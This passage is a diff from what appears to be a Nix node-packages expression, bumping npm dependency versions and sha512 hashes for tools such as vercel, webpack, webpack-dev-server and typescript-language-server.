sources."@types/node-20.11.19" sources."@types/responselike-1.0.3" sources."abbrev-1.1.1" sources."abstract-logging-2.0.1" @@ -96259,7 +96480,7 @@ in sources."content-type-1.0.5" sources."cookie-0.4.0" sources."cookie-signature-1.0.6" - sources."core-js-3.35.1" + sources."core-js-3.36.0" sources."core-util-is-1.0.2" sources."css-select-1.2.0" sources."css-what-2.1.3" @@ -97106,19 +97327,19 @@ in }; dependencies = [ sources."@cspotcode/source-map-support-0.8.1" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.9" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@tsconfig/node10-1.0.9" sources."@tsconfig/node12-1.0.11" sources."@tsconfig/node14-1.0.3" sources."@tsconfig/node16-1.0.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."acorn-8.11.3" sources."acorn-walk-8.3.2" sources."arg-4.1.3" @@ -97165,10 +97386,10 @@ in typescript-language-server = nodeEnv.buildNodePackage { name = "typescript-language-server"; packageName = "typescript-language-server"; - version = "4.3.1"; + version = "4.3.3"; src = fetchurl { - url = "https://registry.npmjs.org/typescript-language-server/-/typescript-language-server-4.3.1.tgz"; - sha512 = "DyRbGI9bM35tRq7THqOEUkksng73iZt7s4sfdrqjoX6Ij3BXV2rT95V5x20A0I8jUCV/DU3osOMC+2wPL+WXNQ=="; + url = "https://registry.npmjs.org/typescript-language-server/-/typescript-language-server-4.3.3.tgz"; + sha512 = "3QLj57Ru9S6zv10sa4z1pA3TIR1Rdkd04Ke0EszbO4fx5PLdlYhlC/PMxwlyxls9wrZs7wPCME1Ru0s1Gabz4Q=="; }; buildInputs = globalBuildInputs; meta = { @@ -97235,7 +97456,7 @@ in sources."@types/debug-4.1.12" sources."@types/is-empty-1.2.3" sources."@types/ms-0.7.34" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/supports-color-8.1.3" sources."@types/unist-3.0.2" sources."@ungap/structured-clone-1.2.0" @@ -97297,7 +97518,7 @@ in sources."read-package-json-fast-3.0.2" sources."readable-stream-3.6.2" sources."safe-buffer-5.2.1" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" ]; @@ -97320,7 +97541,7 @@ in }) sources."strip-ansi-cjs-6.0.1" sources."supports-color-5.5.0" - sources."trough-2.1.0" + sources."trough-2.2.0" sources."type-fest-3.13.1" sources."typedarray-0.0.6" sources."undici-types-5.26.5" @@ -97431,7 +97652,7 @@ in sources."detect-libc-2.0.2" sources."emoji-regex-8.0.0" sources."encoding-0.1.13" - sources."escalade-3.1.1" + sources."escalade-3.1.2" (sources."fs-minipass-2.1.0" // { dependencies = [ sources."minipass-3.3.6" @@ -97478,7 +97699,7 @@ in sources."rw-1.3.3" sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."set-blocking-2.0.0" sources."signal-exit-3.0.7" sources."simple-concat-1.0.1" @@ -97582,7 +97803,7 @@ in sources."delaunator-5.0.1" sources."emoji-regex-8.0.0" sources."encoding-0.1.13" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."get-caller-file-2.0.5" sources."iconv-lite-0.6.3" sources."internmap-2.0.3" @@ -97652,21 +97873,20 @@ in vercel = nodeEnv.buildNodePackage { name = "vercel"; packageName = "vercel"; - version = "33.4.1"; + version = "33.5.1"; src = fetchurl { - url = "https://registry.npmjs.org/vercel/-/vercel-33.4.1.tgz"; - sha512 = "WR5rM9900CW6Z+jlEltF0f87CjHoppz1dJpZ1VzLPWOrgsvVMOcCginyCRhFyxT/AmkpGT7T3DjzKW9Tpx376Q=="; + url = "https://registry.npmjs.org/vercel/-/vercel-33.5.1.tgz"; + sha512 = "lvQWtsElC4ZxdCAO8xBqNEoqcX+i4xdWRIXbDMCfEahTOeaaHs8asV68iP7/PJ3zC/9Zr0kTyx0CUtiBJaXZ9A=="; }; dependencies = [ sources."@cspotcode/source-map-support-0.8.1" - sources."@edge-runtime/cookies-3.4.1" - sources."@edge-runtime/format-2.2.0" - sources."@edge-runtime/node-utils-2.2.1" - sources."@edge-runtime/ponyfill-2.4.1" - sources."@edge-runtime/primitives-4.0.5" - sources."@edge-runtime/vm-3.1.7" + sources."@edge-runtime/format-2.2.1" + sources."@edge-runtime/node-utils-2.3.0" + sources."@edge-runtime/ponyfill-2.4.2" + sources."@edge-runtime/primitives-4.1.0" + sources."@edge-runtime/vm-3.2.0" sources."@fastify/busboy-2.1.0" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.9" (sources."@mapbox/node-pre-gyp-1.0.11" // { @@ -97692,11 +97912,11 @@ in sources."@nodelib/fs.walk-1.2.8" sources."@rollup/pluginutils-4.2.1" sources."@sinclair/typebox-0.25.24" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@tootallnate/once-2.0.0" (sources."@ts-morph/common-0.11.1" // { dependencies = [ @@ -97709,11 +97929,11 @@ in sources."@tsconfig/node16-1.0.4" sources."@types/json-schema-7.0.15" sources."@types/node-14.18.33" - sources."@vercel/build-utils-7.5.1" + sources."@vercel/build-utils-7.7.0" sources."@vercel/error-utils-2.0.2" sources."@vercel/fun-1.1.0" sources."@vercel/gatsby-plugin-vercel-analytics-1.0.11" - (sources."@vercel/gatsby-plugin-vercel-builder-2.0.16" // { + (sources."@vercel/gatsby-plugin-vercel-builder-2.0.18" // { dependencies = [ sources."fs-extra-11.1.0" sources."jsonfile-6.1.0" @@ -97722,9 +97942,9 @@ in }) sources."@vercel/go-3.0.5" sources."@vercel/hydrogen-1.0.2" - sources."@vercel/next-4.1.0" - sources."@vercel/nft-0.26.2" - (sources."@vercel/node-3.0.17" // { + sources."@vercel/next-4.1.1" + sources."@vercel/nft-0.26.3" + (sources."@vercel/node-3.0.19" // { dependencies = [ sources."async-listen-3.0.0" sources."node-fetch-2.6.9" @@ -97732,12 +97952,12 @@ in ]; }) sources."@vercel/python-4.1.1" - (sources."@vercel/redwood-2.0.6" // { + (sources."@vercel/redwood-2.0.7" // { dependencies = [ sources."semver-6.3.1" ]; }) - sources."@vercel/remix-builder-2.0.18" + sources."@vercel/remix-builder-2.0.19" (sources."@vercel/routing-utils-3.1.0" // { dependencies = [ sources."ajv-6.12.6" @@ -97746,7 +97966,7 @@ in ]; }) sources."@vercel/ruby-2.0.5" - sources."@vercel/static-build-2.2.0" + sources."@vercel/static-build-2.4.0" sources."@vercel/static-config-3.0.0" sources."abbrev-1.1.1" sources."acorn-8.11.3" @@ -97771,6 +97991,7 @@ in sources."bytes-3.1.0" sources."chokidar-3.3.1" sources."chownr-1.1.4" + sources."cjs-module-lexer-1.2.3" sources."code-block-writer-10.1.1" sources."color-support-1.1.3" sources."concat-map-0.0.1" @@ -97784,7 +98005,7 @@ in sources."depd-1.1.2" sources."detect-libc-2.0.2" sources."diff-4.0.2" - (sources."edge-runtime-2.5.7" // { + (sources."edge-runtime-2.5.9" // { dependencies = [ sources."async-listen-3.0.1" sources."signal-exit-4.0.2" @@ -97797,6 +98018,7 @@ in ]; }) sources."end-of-stream-1.4.4" + sources."es-module-lexer-1.4.1" sources."esbuild-0.14.47" sources."esbuild-android-64-0.14.47" sources."esbuild-android-arm64-0.14.47" @@ -97825,7 +98047,7 @@ in sources."fast-deep-equal-3.1.3" sources."fast-glob-3.3.2" sources."fast-json-stable-stringify-2.1.0" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fd-slicer-1.1.0" sources."file-uri-to-path-1.0.0" sources."fill-range-7.0.1" @@ -98058,7 +98280,7 @@ in sources."boolbase-1.0.0" sources."brace-expansion-1.1.11" sources."builtin-modules-1.1.1" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."callsites-3.1.0" sources."chalk-4.1.2" sources."character-parser-2.2.0" @@ -98070,9 +98292,11 @@ in sources."cssesc-3.0.0" sources."debug-4.3.4" sources."deep-is-0.1.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."diff-4.0.2" sources."doctrine-3.0.0" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-string-regexp-4.0.0" sources."eslint-8.56.0" sources."eslint-plugin-vue-9.21.1" @@ -98087,25 +98311,25 @@ in sources."fast-deep-equal-3.1.3" sources."fast-json-stable-stringify-2.1.0" sources."fast-levenshtein-2.0.6" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."file-entry-cache-6.0.1" sources."find-up-5.0.0" sources."flat-cache-3.2.0" sources."flatted-3.2.9" sources."fs.realpath-1.0.0" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."glob-7.2.3" sources."glob-parent-6.0.2" sources."globals-13.24.0" sources."gopd-1.0.1" sources."graphemer-1.4.0" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."ignore-5.3.1" sources."import-fresh-3.3.0" sources."imurmurhash-0.1.4" @@ -98161,8 +98385,8 @@ in sources."reusify-1.0.4" sources."rimraf-3.0.2" sources."run-parallel-1.2.0" - sources."semver-7.5.4" - sources."set-function-length-1.2.0" + sources."semver-7.6.0" + sources."set-function-length-1.2.1" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."sprintf-js-1.0.3" @@ -98449,7 +98673,7 @@ in sources."color-name-1.1.4" sources."dom-walk-0.1.2" sources."emoji-regex-8.0.0" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."estraverse-5.3.0" sources."exif-parser-0.1.12" sources."file-type-16.5.4" @@ -98478,7 +98702,7 @@ in sources."pako-1.0.11" sources."parse-bmfont-ascii-1.0.6" sources."parse-bmfont-binary-1.0.6" - sources."parse-bmfont-xml-1.1.4" + sources."parse-bmfont-xml-1.1.6" sources."parse-headers-2.0.5" sources."peek-readable-4.1.0" sources."phin-2.9.3" @@ -98507,7 +98731,7 @@ in sources."wrap-ansi-7.0.0" sources."xhr-2.6.0" sources."xml-parse-from-string-1.0.1" - sources."xml2js-0.4.23" + sources."xml2js-0.5.0" sources."xmlbuilder-11.0.1" sources."xtend-4.0.2" sources."y18n-5.0.8" @@ -98527,14 +98751,14 @@ in webpack = nodeEnv.buildNodePackage { name = "webpack"; packageName = "webpack"; - version = "5.90.0"; + version = "5.90.2"; src = fetchurl { - url = "https://registry.npmjs.org/webpack/-/webpack-5.90.0.tgz"; - sha512 = "bdmyXRCXeeNIePv6R6tGPyy20aUobw4Zy8r0LUS2EWO+U+Ke/gYDgsCh7bl5rB6jPpr4r0SZa6dPxBxLooDT3w=="; + url = "https://registry.npmjs.org/webpack/-/webpack-5.90.2.tgz"; + sha512 = "ziXu8ABGr0InCMEYFnHrYweinHK2PWrMqnwdHk2oK3rRhv/1B+2FnfwYv5oD+RrknK/Pp/Hmyvu+eAsaMYhzCw=="; }; dependencies = [ sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/source-map-0.3.5" sources."@jridgewell/sourcemap-codec-1.4.15" @@ -98543,7 +98767,7 @@ in sources."@types/eslint-scope-3.7.7" sources."@types/estree-1.0.5" sources."@types/json-schema-7.0.15" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@webassemblyjs/ast-1.11.6" sources."@webassemblyjs/floating-point-hex-parser-1.11.6" sources."@webassemblyjs/helper-api-error-1.11.6" @@ -98565,15 +98789,15 @@ in sources."acorn-import-assertions-1.9.0" sources."ajv-6.12.6" sources."ajv-keywords-3.5.2" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-from-1.1.2" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" sources."chrome-trace-event-1.0.3" sources."commander-2.20.3" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."enhanced-resolve-5.15.0" sources."es-module-lexer-1.4.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."eslint-scope-5.1.1" (sources."esrecurse-4.3.0" // { dependencies = [ @@ -98606,13 +98830,13 @@ in sources."source-map-support-0.5.21" sources."supports-color-8.1.1" sources."tapable-2.2.1" - sources."terser-5.27.0" + sources."terser-5.27.1" sources."terser-webpack-plugin-5.3.10" sources."undici-types-5.26.5" sources."update-browserslist-db-1.0.13" sources."uri-js-4.4.1" sources."watchpack-2.4.0" - sources."webpack-5.90.0" + sources."webpack-5.90.2" sources."webpack-sources-3.2.3" ]; buildInputs = globalBuildInputs; @@ -98636,7 +98860,7 @@ in dependencies = [ sources."@discoveryjs/json-ext-0.5.7" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/source-map-0.3.5" sources."@jridgewell/sourcemap-codec-1.4.15" @@ -98645,7 +98869,7 @@ in sources."@types/eslint-scope-3.7.7" sources."@types/estree-1.0.5" sources."@types/json-schema-7.0.15" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@webassemblyjs/ast-1.11.6" sources."@webassemblyjs/floating-point-hex-parser-1.11.6" sources."@webassemblyjs/helper-api-error-1.11.6" @@ -98670,19 +98894,19 @@ in sources."acorn-import-assertions-1.9.0" sources."ajv-6.12.6" sources."ajv-keywords-3.5.2" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-from-1.1.2" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" sources."chrome-trace-event-1.0.3" sources."clone-deep-4.0.1" sources."colorette-2.0.20" sources."commander-10.0.1" sources."cross-spawn-7.0.3" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."enhanced-resolve-5.15.0" - sources."envinfo-7.11.0" + sources."envinfo-7.11.1" sources."es-module-lexer-1.4.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."eslint-scope-5.1.1" (sources."esrecurse-4.3.0" // { dependencies = [ @@ -98700,7 +98924,7 @@ in sources."glob-to-regexp-0.4.1" sources."graceful-fs-4.2.11" sources."has-flag-4.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."import-local-3.1.0" sources."interpret-3.1.1" sources."is-core-module-2.13.1" @@ -98743,7 +98967,7 @@ in sources."supports-color-8.1.1" sources."supports-preserve-symlinks-flag-1.0.0" sources."tapable-2.2.1" - (sources."terser-5.27.0" // { + (sources."terser-5.27.1" // { dependencies = [ sources."commander-2.20.3" ]; @@ -98753,7 +98977,7 @@ in sources."update-browserslist-db-1.0.13" sources."uri-js-4.4.1" sources."watchpack-2.4.0" - sources."webpack-5.90.0" + sources."webpack-5.90.2" sources."webpack-cli-5.1.4" sources."webpack-merge-5.10.0" sources."webpack-sources-3.2.3" @@ -98773,14 +98997,15 @@ in webpack-dev-server = nodeEnv.buildNodePackage { name = "webpack-dev-server"; packageName = "webpack-dev-server"; - version = "4.15.1"; + version = "5.0.2"; src = fetchurl { - url = "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.15.1.tgz"; - sha512 = "5hbAst3h3C3L8w6W4P96L5vaV0PxSmJhxZvWKYIdgxOQm8pNZ5dEOmmSLBVpP85ReeyRt6AS1QJNyo/oFFPeVA=="; + url = "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-5.0.2.tgz"; + sha512 = "IVj3qsQhiLJR82zVg3QdPtngMD05CYP/Am+9NG5QSl+XwUR/UPtFwllRBKrMwM9ttzFsC6Zj3DMgniPyn/Z0hQ=="; }; dependencies = [ + sources."@isaacs/cliui-8.0.2" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/source-map-0.3.5" sources."@jridgewell/sourcemap-codec-1.4.15" @@ -98794,16 +99019,16 @@ in sources."@types/eslint-scope-3.7.7" sources."@types/estree-1.0.5" sources."@types/express-4.17.21" - sources."@types/express-serve-static-core-4.17.42" + sources."@types/express-serve-static-core-4.17.43" sources."@types/http-errors-2.0.4" sources."@types/http-proxy-1.17.14" sources."@types/json-schema-7.0.15" sources."@types/mime-1.3.5" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/node-forge-1.3.11" sources."@types/qs-6.9.11" sources."@types/range-parser-1.2.7" - sources."@types/retry-0.12.0" + sources."@types/retry-0.12.2" sources."@types/send-0.17.4" sources."@types/serve-index-1.9.4" sources."@types/serve-static-1.15.5" @@ -98833,7 +99058,10 @@ in sources."ajv-formats-2.1.1" sources."ajv-keywords-5.1.0" sources."ansi-html-community-0.0.8" + sources."ansi-regex-5.0.1" + sources."ansi-styles-6.2.1" sources."anymatch-3.1.3" + sources."arg-5.0.2" sources."array-flatten-1.1.1" sources."balanced-match-1.0.2" sources."batch-0.6.1" @@ -98844,21 +99072,23 @@ in ]; }) sources."bonjour-service-1.2.1" - sources."brace-expansion-1.1.11" + sources."brace-expansion-2.0.1" sources."braces-3.0.2" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-from-1.1.2" sources."bufferutil-4.0.8" + sources."bundle-name-4.1.0" sources."bytes-3.0.0" - sources."call-bind-1.0.5" - sources."caniuse-lite-1.0.30001582" - sources."chokidar-3.5.3" + sources."call-bind-1.0.7" + sources."caniuse-lite-1.0.30001587" + sources."chokidar-3.6.0" sources."chrome-trace-event-1.0.3" + sources."color-convert-2.0.1" + sources."color-name-1.1.4" sources."colorette-2.0.20" sources."commander-2.20.3" sources."compressible-2.0.18" sources."compression-1.7.4" - sources."concat-map-0.0.1" sources."connect-history-api-fallback-2.0.0" (sources."content-disposition-0.5.4" // { dependencies = [ @@ -98871,19 +99101,25 @@ in sources."core-util-is-1.0.3" sources."cross-spawn-7.0.3" sources."debug-2.6.9" + sources."default-browser-5.2.1" + sources."default-browser-id-5.0.0" sources."default-gateway-6.0.3" - sources."define-data-property-1.1.1" - sources."define-lazy-prop-2.0.0" + sources."define-data-property-1.1.4" + sources."define-lazy-prop-3.0.0" sources."depd-2.0.0" sources."destroy-1.2.0" sources."detect-node-2.1.0" sources."dns-packet-5.6.1" + sources."eastasianwidth-0.2.0" sources."ee-first-1.1.1" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" + sources."emoji-regex-9.2.2" sources."encodeurl-1.0.2" sources."enhanced-resolve-5.15.0" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es-module-lexer-1.4.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-html-1.0.3" sources."eslint-scope-5.1.1" (sources."esrecurse-4.3.0" // { @@ -98902,30 +99138,33 @@ in ]; }) sources."fast-deep-equal-3.1.3" + sources."fast-diff-1.3.0" sources."fast-json-stable-stringify-2.1.0" sources."faye-websocket-0.11.4" sources."fill-range-7.0.1" sources."finalhandler-1.2.0" sources."follow-redirects-1.15.5" + (sources."foreground-child-3.1.1" // { + dependencies = [ + sources."signal-exit-4.1.0" + ]; + }) sources."forwarded-0.2.0" sources."fresh-0.5.2" - sources."fs-monkey-1.0.5" - sources."fs.realpath-1.0.0" - sources."fsevents-2.3.3" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stream-6.0.1" - sources."glob-7.2.3" + sources."glob-10.3.10" sources."glob-parent-5.1.2" sources."glob-to-regexp-0.4.1" sources."gopd-1.0.1" sources."graceful-fs-4.2.11" sources."handle-thing-2.0.1" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" (sources."hpack.js-2.1.6" // { dependencies = [ sources."readable-stream-2.3.8" @@ -98938,27 +99177,35 @@ in sources."http-proxy-1.18.1" sources."http-proxy-middleware-2.0.6" sources."human-signals-2.1.0" + sources."hyperdyperid-1.2.0" sources."iconv-lite-0.4.24" - sources."inflight-1.0.6" sources."inherits-2.0.4" sources."ipaddr.js-2.1.0" sources."is-binary-path-2.1.0" - sources."is-docker-2.2.1" + sources."is-docker-3.0.0" sources."is-extglob-2.1.1" + sources."is-fullwidth-code-point-3.0.0" sources."is-glob-4.0.3" + sources."is-inside-container-1.0.0" + sources."is-network-error-1.0.1" sources."is-number-7.0.0" sources."is-plain-obj-3.0.0" sources."is-stream-2.0.1" - sources."is-wsl-2.2.0" + sources."is-wsl-3.1.0" sources."isarray-1.0.0" sources."isexe-2.0.0" + sources."jackspeak-2.3.6" sources."jest-worker-27.5.1" + sources."json-joy-11.28.0" sources."json-parse-even-better-errors-2.3.1" sources."json-schema-traverse-1.0.0" sources."launch-editor-2.6.1" sources."loader-runner-4.3.0" + sources."lodash.clonedeep-4.5.0" + sources."lodash.isequal-4.5.0" + sources."lru-cache-10.2.0" sources."media-typer-0.3.0" - sources."memfs-3.6.0" + sources."memfs-4.7.1" sources."merge-descriptors-1.0.1" sources."merge-stream-2.0.0" sources."methods-1.1.2" @@ -98968,7 +99215,8 @@ in sources."mime-types-2.1.35" sources."mimic-fn-2.1.0" sources."minimalistic-assert-1.0.1" - sources."minimatch-3.1.2" + sources."minimatch-9.0.3" + sources."minipass-7.0.4" sources."ms-2.0.0" sources."multicast-dns-7.2.5" sources."negotiator-0.6.3" @@ -98982,13 +99230,12 @@ in sources."obuf-1.1.2" sources."on-finished-2.4.1" sources."on-headers-1.0.2" - sources."once-1.4.0" sources."onetime-5.1.2" - sources."open-8.4.2" - sources."p-retry-4.6.2" + sources."open-10.0.3" + sources."p-retry-6.2.0" sources."parseurl-1.3.3" - sources."path-is-absolute-1.0.1" sources."path-key-3.1.1" + sources."path-scurry-1.10.1" sources."path-to-regexp-0.1.7" sources."picocolors-1.0.0" sources."picomatch-2.3.1" @@ -99000,6 +99247,7 @@ in }) sources."punycode-2.3.1" sources."qs-6.11.0" + sources."quill-delta-5.1.0" sources."randombytes-2.1.0" sources."range-parser-1.2.1" (sources."raw-body-2.5.1" // { @@ -99012,7 +99260,9 @@ in sources."require-from-string-2.0.2" sources."requires-port-1.0.0" sources."retry-0.13.1" - sources."rimraf-3.0.2" + sources."rimraf-5.0.5" + sources."run-applescript-7.0.0" + sources."rxjs-7.8.1" sources."safe-buffer-5.1.2" sources."safer-buffer-2.1.2" sources."schema-utils-4.2.0" @@ -99034,12 +99284,12 @@ in ]; }) sources."serve-static-1.15.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setprototypeof-1.2.0" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."shell-quote-1.8.1" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" sources."sockjs-0.3.24" sources."source-map-0.6.1" @@ -99057,11 +99307,24 @@ in ]; }) sources."statuses-2.0.1" + sources."string-width-5.1.2" + (sources."string-width-cjs-4.2.3" // { + dependencies = [ + sources."emoji-regex-8.0.0" + sources."strip-ansi-6.0.1" + ]; + }) sources."string_decoder-1.1.1" + (sources."strip-ansi-7.1.0" // { + dependencies = [ + sources."ansi-regex-6.0.1" + ]; + }) + sources."strip-ansi-cjs-6.0.1" sources."strip-final-newline-2.0.0" sources."supports-color-8.1.1" sources."tapable-2.2.1" - sources."terser-5.27.0" + sources."terser-5.27.1" (sources."terser-webpack-plugin-5.3.10" // { dependencies = [ sources."ajv-6.12.6" @@ -99070,9 +99333,11 @@ in sources."schema-utils-3.3.0" ]; }) + sources."thingies-1.16.0" sources."thunky-1.1.0" sources."to-regex-range-5.0.1" sources."toidentifier-1.0.1" + sources."tslib-2.6.2" sources."type-is-1.6.18" sources."undici-types-5.26.5" sources."unpipe-1.0.0" @@ -99085,7 +99350,7 @@ in sources."vary-1.1.2" sources."watchpack-2.4.0" sources."wbuf-1.7.3" - (sources."webpack-5.90.0" // { + (sources."webpack-5.90.2" // { dependencies = [ sources."ajv-6.12.6" sources."ajv-keywords-3.5.2" @@ -99093,12 +99358,20 @@ in sources."schema-utils-3.3.0" ]; }) - sources."webpack-dev-middleware-5.3.3" + sources."webpack-dev-middleware-7.0.0" sources."webpack-sources-3.2.3" sources."websocket-driver-0.7.4" sources."websocket-extensions-0.1.4" sources."which-2.0.2" - sources."wrappy-1.0.2" + sources."wrap-ansi-8.1.0" + (sources."wrap-ansi-cjs-7.0.0" // { + dependencies = [ + sources."ansi-styles-4.3.0" + sources."emoji-regex-8.0.0" + sources."string-width-4.2.3" + sources."strip-ansi-6.0.1" + ]; + }) sources."ws-8.16.0" ]; buildInputs = globalBuildInputs; @@ -99121,7 +99394,7 @@ in }; dependencies = [ sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/source-map-0.3.5" sources."@jridgewell/sourcemap-codec-1.4.15" @@ -99129,12 +99402,12 @@ in sources."@nodelib/fs.scandir-2.1.5" sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" - sources."@sindresorhus/merge-streams-1.0.0" + sources."@sindresorhus/merge-streams-2.2.1" sources."@types/eslint-8.56.2" sources."@types/eslint-scope-3.7.7" sources."@types/estree-1.0.5" sources."@types/json-schema-7.0.15" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@webassemblyjs/ast-1.11.6" sources."@webassemblyjs/floating-point-hex-parser-1.11.6" sources."@webassemblyjs/helper-api-error-1.11.6" @@ -99158,15 +99431,15 @@ in sources."ajv-formats-2.1.1" sources."ajv-keywords-5.1.0" sources."braces-3.0.2" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-from-1.1.2" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" sources."chrome-trace-event-1.0.3" sources."commander-2.20.3" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."enhanced-resolve-5.15.0" sources."es-module-lexer-1.4.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."eslint-scope-5.1.1" (sources."esrecurse-4.3.0" // { dependencies = [ @@ -99182,11 +99455,11 @@ in ]; }) sources."fast-json-stable-stringify-2.1.0" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."glob-parent-6.0.2" sources."glob-to-regexp-0.4.1" - sources."globby-14.0.0" + sources."globby-14.0.1" sources."graceful-fs-4.2.11" sources."has-flag-4.0.0" sources."ignore-5.3.1" @@ -99222,7 +99495,7 @@ in sources."source-map-support-0.5.21" sources."supports-color-8.1.1" sources."tapable-2.2.1" - sources."terser-5.27.0" + sources."terser-5.27.1" (sources."terser-webpack-plugin-5.3.10" // { dependencies = [ sources."ajv-6.12.6" @@ -99237,7 +99510,7 @@ in sources."update-browserslist-db-1.0.13" sources."uri-js-4.4.1" sources."watchpack-2.4.0" - (sources."webpack-5.90.0" // { + (sources."webpack-5.90.2" // { dependencies = [ sources."ajv-6.12.6" sources."ajv-keywords-3.5.2" @@ -99278,14 +99551,14 @@ in sources."@protobufjs/pool-1.1.0" sources."@protobufjs/utf8-1.1.0" sources."@types/long-4.0.2" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@webtorrent/http-node-1.3.0" sources."addr-to-ip-port-1.5.4" sources."airplay-js-0.3.0" sources."ansi-escapes-4.3.2" sources."ansi-regex-5.0.1" sources."ansi-styles-4.3.0" - sources."b4a-1.6.4" + sources."b4a-1.6.6" sources."base64-js-1.5.1" sources."bencode-2.0.3" sources."bep53-range-1.1.1" @@ -99404,7 +99677,7 @@ in sources."emoji-regex-8.0.0" sources."end-of-stream-1.4.4" sources."err-code-3.0.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-html-1.0.3" sources."escape-string-regexp-1.0.5" sources."events-3.3.0" @@ -99431,6 +99704,7 @@ in sources."inherits-2.0.4" sources."inquirer-8.2.6" sources."ip-1.1.8" + sources."ip-address-9.0.5" sources."ip-set-2.1.0" sources."ipaddr.js-2.1.0" sources."is-ascii-1.0.0" @@ -99442,6 +99716,7 @@ in sources."is-wsl-2.2.0" sources."isarray-1.0.0" sources."join-async-iterator-1.1.1" + sources."jsbn-1.1.0" sources."junk-3.1.0" sources."k-bucket-5.1.0" sources."k-rpc-5.1.0" @@ -99578,18 +99853,15 @@ in ]; }) sources."smart-buffer-4.2.0" - (sources."socks-2.7.1" // { - dependencies = [ - sources."ip-2.0.0" - ]; - }) + sources."socks-2.8.0" sources."speed-limiter-1.0.2" sources."speedometer-1.1.0" sources."split-1.0.1" + sources."sprintf-js-1.1.3" 